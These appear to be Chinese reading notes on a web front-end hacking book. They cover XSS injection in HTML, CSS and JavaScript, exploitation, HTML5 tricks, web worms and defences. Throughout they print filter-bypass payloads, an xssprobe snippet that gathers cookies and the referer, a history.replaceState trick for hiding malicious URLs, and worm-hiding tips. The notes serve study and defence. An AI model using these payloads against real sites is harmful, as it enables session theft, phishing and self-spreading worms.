除了Javascript提供的這三種加密/解密方法外,還有HTMLEncode、URLEncode、JSEncode、UTF-7、Base64編碼也經常用到。這幾種編碼里面JSEncode看起來稍微陌生點,編碼后形如:<script>document.write(unescape("cryptstr"))</script>,而"cryptstr"則是明文經過Unicode編碼后的字符串,unescape用於將unicode字符串轉為原字符串
3) HTML中的代碼注入
完整的HTML代碼分為:標簽名、屬性名、屬性值、文本、注釋
No.1 標簽 HTML標簽不區分大小寫,所以可以構造<ScrIPT>的形式繞過對<script>的過濾,不過對於像正則匹配i選項來說這種方法就失效了
過濾規則更多的是使用黑名單,不過黑名單是有缺陷的,可以嘗試分析過濾器的缺陷繞過,例如:
/<([^>]+).*?<\/([^>]+)>/這種類型的過濾器對<>匹配比較嚴格,但是當構造<<script>alert(123);//<<script>時就能繞過,同樣對於script的不分大小寫過濾可以構造scrscriptIPT這樣的字符串來繞過
有些過濾器的HTML Parser很強大,會判斷當前代碼是否存在於注釋中,如是注釋則忽略;反過來說,有些則不關心是否有注釋,只關心HTML標簽、屬性、屬性值是否有問題。由於注釋的優先級較高,可以構造如下代碼:<!--<a href="--><img src=x onerror=alert(1)//">test</a>
掃描器忽略了HTML注釋后,會認為<a href="--><img src=x onerror=alert(1)//">test</a>是一個完整的HTML語句,
<img src=x onerror=alert(1)//">則被認為是屬性href的值,而對瀏覽器來說,<img src=x onerror=alert(1)//">是一個完整的img標簽。
HTML語法中標簽同樣有優先級的區別,<textarea>,<title>,<style>,<script>,<xmp>等標簽具有非常高的優先級,因此使其結束便可直接中斷其他標簽的屬性,<style><a href="</style><img src=x onerror=alert(123)//>,這里<style>優先級高於<a>,因此</style>出現與前面閉合之后就會中斷<a>錨標簽。
No.2 屬性
HTML標簽的屬性同樣不區分大小寫,屬性值可以用雙引號、單引號括起來,甚至不願引號語法上也可以接受,甚至在IE下還可以使用反引號(`),<img sRc = #>
標簽和屬性、屬性名和等號、等號和屬性名之間可用若干個空格、換行符(chr(13))、回車(chr(10))、TAB(chr(9))
另外還可以在屬性的頭部和尾部插入系統控制符(ASCII值1~32):<a  href="  javascript:alert(123)">test</a>,不過要注意,不同瀏覽器、不同版本之間處理方式都存在差異,使用控制字符前最好有一個預期的對象
HTML的屬性按用途分大致可以分為:普通屬性、時間屬性、資源屬性幾種
對於普通屬性我們可以控制屬性值,應該嘗試突破當前屬性去構造新的屬性或標簽,常用的方法是構造閉合。有時候碰上引號被過濾或者做了HTMLEncode轉義就一點辦法都沒有了。書上給出了可以運行的特例:<img src = alt =" onerror=alert("Hi,Grok")//">,不過我在本機上的三個瀏覽器里運行均沒有彈窗。
如果可以控制事件屬性,那么除了上面說的還能做點事情——插入代碼等待用戶觸發。對於形如<a href="#" onclick="function(\"<?=$_GET['a']?>\")">test code</a>可以說得上是最愛了,因為用戶可以完全控制輸入代碼,閉合函數構造自己的代碼。有時候碰到匿名函數也是一件高興的事,因為匿名函數具有可以在一個函數中執行另一個函數的特性,或多或少給了我們機會。
還有一點就是HTML中通過屬性定義的事情在執行時會做HTMLDecode編碼(書上為HTMLDecode編碼,實例為編碼,懷疑應該為HTMLEncode)
資源類屬性,可以理解為屬性值需要為URL的屬性,通常屬性名為src,href,這類屬性一般都支持瀏覽器的預定義協議:ftp、file:、mailto:、data:、javascript等,mailto:、data:、javascript偽協議,可調用本地程序執行命令。
常見支持資源屬性的HTML標簽:
applet,embed,frame,iframe,img
input type=image,
xml,a,link,area,
table\tr\td\th的background屬性,
bgsound,audio,video,object,meta refresh,script,base,source
偽協議的協議名同樣是不區分大小寫的,數據也可以做自動HTMLDecode數據解碼及進制解碼
另外有幾個不常用的屬性也支持偽協議:
<img dynsrc="javascript:alert('xss')"> (IE6)
<isindex action=javascript:alert(123) type=image>
還有一個常用標簽的不常用屬性就是<input type="image" src="javascript:alet(123);">
HTML的事件有很多,包括鼠標事件、鍵盤事件、表單元素相關事件及內容編輯事件等,書上HTML事件這里給了一個全面的HTML事件表
4) CSS中的代碼注入
CSS可以分為選擇符、屬性名、屬性值、規則和聲明幾部分,參考如下示例:
@charset "UTF-8"; body{ background:red; } a{ font-size:14px!important; }
body和a為選擇符,background為屬性名,為屬性值,@charset為規則,!important為聲明
CSS中能利用進行XSS的只有屬性值和@import規則
CSS與HTML類似,CSS語法對大小寫不敏感,屬性值對單雙引號不敏感,對資源類屬性來說URL部分的引號也不敏感,同樣空格、回車、tab等也能被瀏覽器解析,跟html可謂是一家親啊
CSS中background、background-image都屬於資源類屬性,可以嵌入javascript腳本:body{background-image:url('javascript:alert(123)');}。除了這些處理圖片背景的屬性,當然還有一類屬性也可以嵌入XML,Javascript這些,不過像-moz-binding這個就是瀏覽器依賴的了,Firefox某個版本沒問題,其他瀏覽器就不行了。獨樂樂不如眾樂樂,像標准之類的東西大家都通用才是適合普通中斷用戶的東西。
IE下有一個特有的CSS屬性——expression,其目的就是為了插入一段Javascript代碼:a{text:expression(alert(123))}
expression中的代碼相當於一段Javascript代碼匿名函數在當前頁面的生命周期內是不斷循環執行的,若不希望它一遍遍執行,可以在外面設置某種標記:exoression(if(window.x!=1) {alert("grok");window.x=1}); expression可以用注釋(/*..*/)混淆,@import則可以用\0000混淆,二者的方法不能替換使用
前面花了不少精力將各種編碼,對於CSS也可以用編碼來混淆代碼,UTF-7就是一個不錯的選擇,可以設charset:utf-7
5) Javascript中的代碼注入技巧
等了這么就久終於到了Javascript的代碼注入了,前面提到過Javascript被稱為跨站之魂,因此無論是XSS還是Web前端Javascript的重要性都不言而喻
XSS尋找注入點的過程其實便是尋找用戶可控變量的過程,當然有時候並不是這么簡單就能利用的。比如說目標站點對輸入變量使用了addslashes,這樣就會給跨站帶來不少的麻煩——無法通過閉合引號利用。好消息是,如果處於寬字節環境,就可以通過構造%81%5c的方式進行繞過,如果</script>能用的話也可以閉合<script>標簽,它的優先級比較高。
跨域數據交互的需要使得JSON變得通用起來,它有兩種格式:沒有callback函數名的裸Object形式和有callback函數名的參數調用Object形式,而后者,在需要的時候能為我們做點什么。
給JSON數據頁面HTTP響應頭設置Content-Type,使訪問該頁面時以下載方式呈現而非HTML方式是一種巧妙的防御策略。但防御策略總是會有辦法繞過去的,設置為text/plain這樣的,在某個瀏覽器可能有效,其他瀏覽器就不一定了,一種比較好的方案是設置為application/json。另外碰到IE確定文件類型時不完全依賴Content-Type也能讓我們有機可乘:
foo/?id=123&a.html和foo.php/a.html?id=123的情況就可以繞過Content-Type,對於后者Apache會直接忽略掉a.html
再來談一談Javascript中的代碼混淆,這個話題已經說了好多遍了,但是耐着性子吧還是。其他情況暫且不說,就說現在面臨的三種情況:可以插入alert(123),但代碼被HTMLEncode過濾了;輸入內容長度限制;沒有字數限制但過濾了大部分函數。第一種情況=>eval(String.fromCharCode(...)),第二種情況=>eval(name),第三種情況=>"e"+"v"+"a"+"l",不一而足,關於Javascript碰到種種限制的繞過方法可以多看看XSS跨站腳本一書,上面講的都是基礎,但由於專講XSS所以有些問題討論的更全面。
6) 突破URL過濾
這里還是編碼,URL除了常見的域名和ip輸入,還可以用十進制、十六進制、八進制、混合編碼的方法表示,甚至ip中的點還可以用URL編碼表示,可以做個參考
7) 更多的混淆
天馬行空工作室的jother編碼只用了幾個字符表示,是一種不錯的混淆方式;
http://html5sec.org/上也有不少針對各個瀏覽器不同版本的向量測試的資料,盡管都是很雜之前版本的瀏覽器,不過思路可以學習一下
http://shazzer.co.uk/是一個用於fuzzing測試的平台,有fuzz向量和fuzz數據庫,值得去看一下
第七章 漏洞利用
第六章講的是挖漏洞,挖完了漏洞自然是如何去利用,這便是第七章的內容。在敲下這段字之前我已經看到了第八節,第八節的內容屬於真實案例的分析,前面的7節基本是結合某種場景對某些技術進行說明。同漏洞挖掘不一樣,漏洞利用是具體的應用,因此在基本知識和理論層面比較少而代碼比較多。
1) 偷取隱私數據
偷取數據首先以一個小工具xssprobe為例,給出工具的源代碼說明技術上的實現,用於獲取:browser,user-agent,lang(uge),referer,location,toplocation,cookie,domain,screen等數據,給出幾行相關代碼:
var info={} ... info.ua = escape(navigator.userAgent); info.lang = navigator.language; info.referer = document.referer; info.location = window.location.href; info.toplocation = top.location.href; info.cookie = escape(document.cookie); info.domain = document.domain; info.title = document.title;
在xssprobe中referer是要獲得的信息,有時候它可能就是后台地址,或者由於referer泄露可以獲得其他信息。HTML5推薦的rel="noreferer"屬性可以讓請求不帶Referer:<a href="http://evil.com" rel="noreferer">noreferer!</a>
//本節后面瀏覽器記住的明文密碼和鍵盤記錄器再次不做記錄,可翻書進一步了解
2) 內網滲透、基於CSRF的攻擊技術和瀏覽器劫持技術三節覺得同樣不太適合做筆記,再次略過
3) 一些跨域技術
1. IE res:協議跨域
2.CSS String Injection跨域
3.瀏覽器特權區域
4.瀏覽器擴展
5.跨子域:domain.document技巧
現在很多網站把不同的子業務放到不同的子域下,一方面實現業務分離,另一方面也更易保護數據安全。這些子域下總會存在一個類似proxy.html的文件,有如下代碼:<script>document.domain="example.com";</script>
這個頁面可以設置document.domain為當前子域或比當前子域更高級的域
6.其他跨域技術
"走向本地的邪惡之路","IE下MTHML協議帶來的跨域危害","Hacking with mhtml protocol handler"
4) XSS Proxy技術
服務端WebSocket(持久性連接)推送指令
postMessage方式推送——客戶端最直接的跨文檔傳輸方法,一般用在iframe中父頁與子頁之間的客戶端跨域通信
5)本節講述真實案例中的漏洞利用,案例一是百度空間登錄DIV層釣魚,大概是用戶可以在自己的空間主頁添加一個自定義widget,但是沒有過濾src值中的雙引號,導致XSS漏洞。這個說法表示有點疑惑,為什么src值中的引號沒過濾會導致XSS,前面說過HTML屬性的值可以用單引號、雙引號,也可以不用引號,至於到底怎么觸發的還是要自己去考證一下。案例二是假冒Google的釣魚調查問卷,后面的幾個案例不在此一一道來。
總結一下這章的內容,本章主要介紹了XSS漏洞利用的一些方法,都結合特定的情況進行說明,另外本章后面給出了幾個真實發生的案例,結合具體實例給出了分析和源代碼。就這幾種情況而言,前面提到過的技術基本上都派上了,具體到實踐中可能要將不同的方法和技術結合起來,這就不是三言兩語能說得清怎么做到的了,有句話叫理論結合實際,漏洞利用就是練動手能力的好機會。
第八章 HTML5安全
"HTML已經不是簡單地HTML標簽的升級,它還涵蓋了各種新的Javascript API函數,比如本地存儲、拖放操作、地理定位、視頻、音頻、圖像、動畫等"。
1) 新標簽和新屬性繞過黑名單策略
傳統的黑名單策略會使用HTML的標簽、屬性和正則表達式作為關鍵字匹配,不管怎么說,黑名單采用的是一個有限的規則集,如果有新的元素加入但是黑名單了沒有的話就會留下安全風險。
HTML5中可以用到的新標簽有音頻標簽<audio>和視頻標簽<video>,在這些標簽中可以執行Javascript代碼:
<audio onerror=javascript:alert(123)><source>
<video src="..." onloadedmetadata="alert(123)" ondurationchanged="alert(2)" ontimeupdate="alert(123)"></video>
HTML5中可以利用到的新屬性有formaction,onformchange,onforminput,autofocus等,在這些屬性中可以執行XSS代碼
<form id=test onforminput=alert(123)><input></form><buttom form=test onformchange=alert(123)>
2) History API中的新方法
pushState()、replaceState(),這兩個方法可以在不刷新頁面的情況下添加和修改歷史條目
pushState(data,title[,url]) =>在瀏覽器列表的棧頂部添加一條記錄
replaceState(data,title[,url]) =>更改當前頁面的歷史記錄
反射型的惡意地址很容易被用戶發現,為此可以使用短地址,短地址實際上是一種域名壓縮技術,通過使用短地址服務可以講一個很長的URL變得很短。這種方法看起來很完美,但是用戶點擊短地址后在URL地址欄中仍然會呈現完整的URL,因此只隱藏了一半。可以使用History的新方法隱藏另一半,只需把URL參數的位置寫成location.href.split("?").shift()
例如:eviltest.com/userid=&appid=<script>history.replaceState({},",location.href.split("?").shift());document.write(123)</script>
第九章 Web蠕蟲
Web蠕蟲主要包括:XSS蠕蟲、CSRF蠕蟲、Clickjacking蠕蟲,其思想很簡單—用戶參與。
1) XSS蠕蟲
蠕蟲性質:傳播性——在Web層基於HTTP請求進行傳播;病毒行為——惡意操作,Web層面客戶端主要是Javascript腳本發起的惡意HTTP請求
XSS蠕蟲的條件:內容有用戶驅動;存在XSS漏洞;被感染的用戶是登陸狀態——登陸后的權限能執行更多操作;蠕蟲傳播利用的關鍵功能本身具備內容傳播性。
=>目標Web2.0網站存在XSS漏洞,當被攻擊用戶查看存在XSS蠕蟲代碼的內容時,蠕蟲觸發並開始感染傳播
XSS蠕蟲的危害:對用戶數據進行惡意操作;拒絕服務攻擊;分布式拒絕服務攻擊;散播廣告;傳播網馬;傳播輿情
XSS蠕蟲為了能快速傳播通常會將目標定位SNS網站,但是SNS網站很可能對此做出一些過濾,有時候<span>標簽並不是過濾的對象,因此可以試一下將代碼放在 <span>標簽內,再將display的值設為none。另外為了蠕蟲的"苗條",會用到形如 $('xxx').html()的代碼——獲取id為xxx的DOM節點的html值
2) CSRF蠕蟲
CSRF蠕蟲與XSS蠕蟲的不同之處在於CSRF的代碼存在攻擊者頁面中,而XSS的攻擊代碼存放在目標網站
CSRF蠕蟲請求:GET請求獲取被攻擊者相關隱私數據;POST請求提交數據,使得被攻擊者自動發送某些信息
3) Clickjacking蠕蟲
在SNS網絡中,找到一個可以直接使用HTTP的GET方式提交數據的頁面;這個頁面可以被<iframe>標簽包含
第十章 防御
防御Web攻擊,要從三個方面進行:瀏覽器廠商;Web服務廠商;中斷用戶
1) 瀏覽器廠商的防御
HTTP響應頭:X-Frame-Options;X-XSS-Protection;X-Content-Security-Policy
X-Frame-Options的值有兩個:DENY(進制加載任何frame);SAMEORIGIN(僅允許加載同域內的frame)
X-XSS-Protection的值有三個:
0 => 禁用該策略
1 => 默認,對一些危險腳本做一些標志或修改以阻止在瀏覽器上渲染執行
1; => mode=block,強制不渲染
這個策略針對反射型XSS,無法兌付存儲型XSS——瀏覽器無法區分從后端存儲輸出到瀏覽器前端的Javascript代碼是否合法
CSP策略由一些指令構成,每個指令以分號分隔:
X-Content-Security-Policy:[指令1] [指令值1] [指令值2]; [指令2] [指令值1] [指令值2]...
X-Content-Security-Policy有如下指令,其具體描述詳見書本:
default-src, scripr-src, object-src, img-src, media-src, frame-src, font-src, connect-src, style-src
2) Web服務商的防御
域分離 —— 不同的子業務放在不同的子域;
安全傳輸 —— HTTPS;
安全的Cookie —— 正確設置HttpOnly;
良好的驗證碼 —— 安全總是和用戶體驗沖突
謹慎使用第三方內容 —— <script>引用第三方js文件...;
可以使用OWASP的XSS防御方案;
使用如下方法防御CSRF:
檢查HTTP Referer字段是否同域 ——Javascript和ActionScript無法修改HTTP Referer
限制Session Cookie的生命周期
使用驗證碼
使用一次性token —— 隱藏在表單中
防御界面劫持操作——有重要會話的交互頁面不允許被iframe嵌入或只允許被同於iframe嵌入
X-Frame-Options防御,有兩個參數DENY和SANMEORIGIN
token防御
Frame Busting腳本防御
<style> html {display:none;} </style> <script> if(self==top) { document.documentElement.style.display='block'; } else { top.location = self.location; } </script>
3) 用戶的防御
安全的瀏覽器組合 —— Firefox + Noscript
自身安全意識 —— 最小信任原則
最后:其實不管是Web領域還是計算機系統本身,攻擊和防御技術都是相互刺激不斷發展的,瀏覽器廠商和Web應用廠商應該重視安全問題,做出努力促進安全。然而,在安全鏈上,最薄弱的一環始終是人,不管是在應用或系統的配置、管理還是最終使用上人事最容易出問題的,所以營造一個安全的互聯網環境,在終端用戶的安全意識方面還需要做更多的工作。